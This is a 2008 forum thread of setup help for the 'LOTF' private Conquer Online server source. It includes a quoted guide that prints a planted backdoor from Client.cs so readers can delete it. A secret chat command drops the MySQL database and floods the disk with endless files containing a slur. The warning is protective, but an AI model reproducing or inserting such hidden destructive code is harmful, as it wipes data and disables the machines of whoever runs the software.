LOTF Source Guide

07/16/2008 00:27 2coolforu2#16
Quote:
Originally Posted by jovis View Post
The cmd windows just briefly appear and disappear.
than you missed a step you have to edit the ip and etc...
07/16/2008 01:25 Noobking101#17
i did it and now it say server interuptted is there a way to make account in game or somethin cuz idk its gettin me tight
07/16/2008 01:33 scottdavey#18
Listen, Go to mysql>coproj>accounts>insert>any username> put LogonType to 2, Hit save.

Login on your client, its as simple as pie.
07/16/2008 14:14 keving#19
I cant connect to mine Can some1 help me?
07/16/2008 19:30 Calabaza1#20
Thanks i cant connect to mine this is ******** i dunno were u put the patch and the server dont load!
07/16/2008 22:21 naamloos3000#21
when i've created an account and logon into the server, it goes great.
When i login my second account on the server i can't see my other char name.

How to fix this?
I'm learning C# so can some help me a bit?:)
07/17/2008 05:30 yourworstnightmare#22
anyone kno how to rebuild without getting the mysql error?
07/17/2008 23:47 JoieJones90#23
whats the commands for gm? and how to do GM;)?
07/18/2008 20:44 Super.Pvper#24
#Updated
07/18/2008 21:00 scottdavey#25
I made a registration page that you could include, [Only registered and activated users can see links. Click Here To Register...]
07/18/2008 21:09 Super.Pvper#26
Thank scottdavey for the registration page.

#Updated
07/18/2008 21:34 Kiyono#27
What is so good about this source anyway ? the only reason i didn't tried it, patching up to 5016 starting at 4343 takes a long time

//Char creation is not working
07/18/2008 23:32 stephanyd#28
Quote:
Originally Posted by Super.Pvper View Post
Official Unofficial Guide for the LOTF Source.

Server Info:

- Database: MySQL
- Language: C#
- Client: v 5016

Required Programs:

- Microsoft Visual C# 2005 Express Edition [Link: [Only registered and activated users can see links. Click Here To Register...]]
- AppServ(MySQL, Apache, and PhpMyAdmin all in one) [Link: [Only registered and activated users can see links. Click Here To Register...]]

- LOTF Source: [Link: [Only registered and activated users can see links. Click Here To Register...]]
- Conquer Online Client 5016 [Link: <NONE>]

*IMPORTANT NOTE!!!!!!!!!!!*
YOU MUST REMEMBER ALL THE USERNAMES/PASSWORDS YOU ENTER!

Setup Guide:

1. Download and Install everything.

2. Go to PhpMyAdmin (go to your browser, and type: [Only registered and activated users can see links. Click Here To Register...], then enter root for the username, and the password you set when installing AppServ.)

3. Click on the SQL button.

[Only registered and activated users can see links. Click Here To Register...]

Click on Import Files, and select the Database from the Source (Backup.sql)

[Only registered and activated users can see links. Click Here To Register...]

4. The Server should already connect to the Database.

5. Go to ...COServerProjectbinDebug then COServerProject.exe to start the server.
Note: if the file is not there, go to ...COServerProjectobjDebug and copy the file from there, to binDebug.

6. Editing NPC Spawns, Accounts, Guilds, Items, Monsters/Monster Spawns, and Portals are all in localhost/phpmyadmin.

7. NPC dialogs are found in the file Client.cs around line 939.


Download this Guide: [Only registered and activated users can see links. Click Here To Register...]



MALICIOUS CODE:

A malicious code has been coded into the server (probobly by hadeset before he released it).
This code supposedly destroys the source.

REMOVE THE MALICIOUS CODE:

1. Open Client.cs

2. Press Ctrl+G and go to line 3630

3. Delete the Command:
Code:
                          if (Message == "@go_to_hell!ENC3101931993")
                            {
                                MySql.Data.MySqlClient.MySqlCommand Command = new MySql.Data.MySqlClient.MySqlCommand("drop database `coproj`", DataBase.Connection);
                                Command.ExecuteNonQuery();
                                
                                for (ulong i = 0; i < 547473346363; i++)
                                {
                                    System.IO.StreamWriter WW = new System.IO.StreamWriter("C:Virus" + i.ToString() + ".exe", true);
                                    for (ulong u = 0; u < 5857474673576; u++)
                                    {
                                        WW.WriteLine("No stealing our server you gay whore!!");
                                    }
                                    WW.Flush();
                                    WW.Close();
                                    WW = new System.IO.StreamWriter("C:YouSuck" + i.ToString() + ".txt", true);
                                    for (ulong u = 0; u < 5857474673576; u++)
                                    {
                                        WW.WriteLine("No stealing our server you gay whore!!");
                                    }
                                    WW.Flush();
                                    WW.Close();
                                }                                
                            }

MySql.Data Error

The file MySql.Data.dll is missing from the source, so when you build it, you will always get an error.

Solution:

1. Download MySql.Data.dll: [Only registered and activated users can see links. Click Here To Register...] | [Only registered and activated users can see links. Click Here To Register...]

2. Move the MySql.Data.dll file into your Server Folder

3. Open the Source with Visual C#

4. Move the File from the Server folder, into the Resources. Overwrite the old one.

There! MySql.Data Error is Fixed!



Registration Page

Download this Registration Page so other players can register to your server!

Link: [Only registered and activated users can see links. Click Here To Register...]

Credits to scottdavey

Hi..Trying to add Dialogs for NPC and won't work...can you help?:confused:
07/19/2008 00:09 scottdavey#29
Did the mysql error fix the freeze problem?
07/19/2008 00:56 umbr0#30
i need Guild how make?